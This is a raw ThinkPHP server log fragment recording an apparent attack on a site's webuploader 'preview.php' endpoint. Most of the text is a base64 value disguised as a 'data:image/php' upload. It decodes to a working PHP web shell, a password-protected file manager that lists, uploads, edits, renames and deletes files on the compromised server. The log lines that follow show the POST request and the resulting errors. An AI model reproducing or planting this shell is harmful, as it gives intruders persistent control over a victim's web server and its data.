'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:32+08:00 ] 116.213.36.234 POST 51tianwei.com/hekenews/public/static/hui/lib%20/webuploader/0.1.15/server/server/preview.php [运行时间:0.002860s] [吞吐率:349.67req/s] [内存消耗:196.89kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hekenews', 2 => 'public', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 